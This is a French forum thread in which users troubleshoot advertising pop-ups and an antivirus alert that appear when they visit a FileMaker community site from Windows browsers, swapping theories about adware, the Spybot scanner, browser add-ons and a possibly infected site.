Zero Pubs sous Windows, quelle que soit la version et le navigateur.

 

Moi je pense que tu as un truc sur ta machine, même si elle est "fraiche".

 

Déjà, autant j'aime Kaspersky comme antivirus, autant tu devrais pas rester en 6.0 ... Ils en sont quand même à la 13 ! :D

 

Mais surtout, installe "Spybot Search&Destroy" (*) , puis mets-le à jour et lance une analyse complète. Souvent les "adwares" ne sont pas détectés par les antivirus, mais par spybot si.

Il y a aussi une fonction de "vaccination" qui va entrer toute une série de domaines "nuisibles" connus dans ton fichier hosts.

 

(*) à l'install tu peux décocher toutes "protections résidentes" (en temps réel), ce qui est surtout utile c'est analyse "à la demande". Of course, si en parallèle tu mets un antivirus plus récent...

Share this post


Link to post
Share on other sites

Je commence effectivement à croire que le pbm vient de ma machine :-(

 

Pourtant mon AV est bien  à jour : http://support.kaspersky.com/fr/wks (Kaspersky Anti-Virus 6.0 for Windows Workstations MP4 est la version "entreprise" à ce que j'ai compris).

 

Vais tenter spybot!

 

Merci pour vos réponses. Je vous tiens au courant

Share this post


Link to post
Share on other sites

Hello,

 

ah oui, les versions entreprises n'en sont qu'à v8 actuellement je crois, donc 6.0 n'est rien de délirant, sorry.

Comme ça n'apparaît nulle part sur la capture d'écran (surprenant d'ailleurs), je pensais que c'était une vieille version "particuliers".

 

Mais comme dit, les m*rdouilles qui t'affichent des pubs sans arrêt ne sont en général pas détectées par les antivirus, donc oui, passe un coup de spybot.

 

Pour l'anecdote : nos salariés impriment en fin de mois leur fiche de frais à partir d'une page PHP en publication personalisée, donc très simple et entièrement écrite par... moi.

Ben l'un d'eux, sur son impression, a systématiquement un bandeau de pub. :)

Share this post


Link to post
Share on other sites

C'est un coup dur pour moi... Dire que je pensais être à l'abris de ce genre de malware! :wacko:

 

J'ai pourtant un os à jour, un av à jour, un firefox à jour, adblock plus, etc... et vlan! :lol:

Share this post


Link to post
Share on other sites

Je viens de tester sur 2 autres machines sur un autre réseau, toujours windows 7 avec firefox : Même pop up!!

 

J'ai l'impression d'avoir le problème quand je cherche fmsource sur google.

Share this post


Link to post
Share on other sites

Bah voilà, fallait être chez free, quand ça leur a pris de couper la chique à google ads... :w00t:  B)

Share this post


Link to post
Share on other sites

Même problème observé pour moi, mais l'appartition de ce pop-up n'est pas systématique...

Share this post


Link to post
Share on other sites

Bonjour,

 

Firefox digère en fait pas mal de malware dans des add-ons. J'ai tourné en rond un moment avec ce problème sur une application web où chaque info-bulle se transformait en pop-up publicitaire.

Dans ce cas, il s'agissait du add-on "Savebyclick"

 

Share this post


Link to post
Share on other sites

Pas ça, j'ai encore remarqué le problème sur un autre pc avec un firefox qui n'avait aucun module complémentaire.

Share this post


Link to post
Share on other sites

Encore une confirmation d'un autre testeur. Visiblement, le site est infecté. Gaffe aux passwords, non?

 

Alerte "site de hameçonnage" sous IE10 + alerte Windows Defender : injection d'un faux fichier .pdf dans le cache web :

 

Exploit:Win32/Pdfjsc.AFW

Share this post


Link to post
Share on other sites

Honnêtement, si ça venait du site, tous les membres ou presque sous windows ici auraient des alertes...

 

Or pour l'instant, on compte toi, Anton, et "un autre testeur"... :huh:

Share this post


Link to post
Share on other sites
Honnêtement, si ça venait du site, tous les membres ou presque sous windows ici auraient des alertes...

Or pour l'instant, on compte toi, Anton, et "un autre testeur"... :huh:

C'est le seul et unique site que je consulte sur lequel je rencontre ce problème.

J'arrête là mes investigations. A vous de voir.

NB : J'ai un 2ème testeur volontaire (Comprendre utilisateur à qui j'ai demandé le test sur forums hardware.fr et clubic.com) qui vient de rencontrer le même problème

 

TePr.png

 

TePx.png

Share this post


Link to post
Share on other sites

rhôôô, j'ai quand même fait un test avec IE9 (car d'habitude j'utilise un autre navigateur, qui n'est visiblement pas sensible à tout ça...), et surtout en passant par google comme tu dis...

 

Et paf ! Popup Titan !!! Mais pas de pdf infecté, par contre. Et popup uniquement la 1e fois, après si je ferme et rouvre et refais la manip, plus rien...

Si ensuite j'ouvre firefox, rien. (et ABP indique "0 éléments bloqués sur 214")

 

Alors on recompte toi, Anton, 2 testeurs, et moi. :lol: Bon bon, je concède, c'est peut-être pas chez toi... :helmet:  :siffle:

 

C'est chelou, tout ça.

Share this post


Link to post
Share on other sites

d'ailleurs, vous avez remarqué comme Olivier n'est pas en mode vendredi ?

il est en train de pleurer sur le week end pourri qui se profile à cause de ces c... d'utilisateurs Windows ;)

Share this post


Link to post
Share on other sites

Purée, j'arrive plus à reproduire!

 

Et pour ce qui est des "week-ends pourris à cause de ces..." ben y a pas de raison que ce soit toujours les mêmes et que vous en profitiez pas un peu ! :D

Share this post


Link to post
Share on other sites
Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...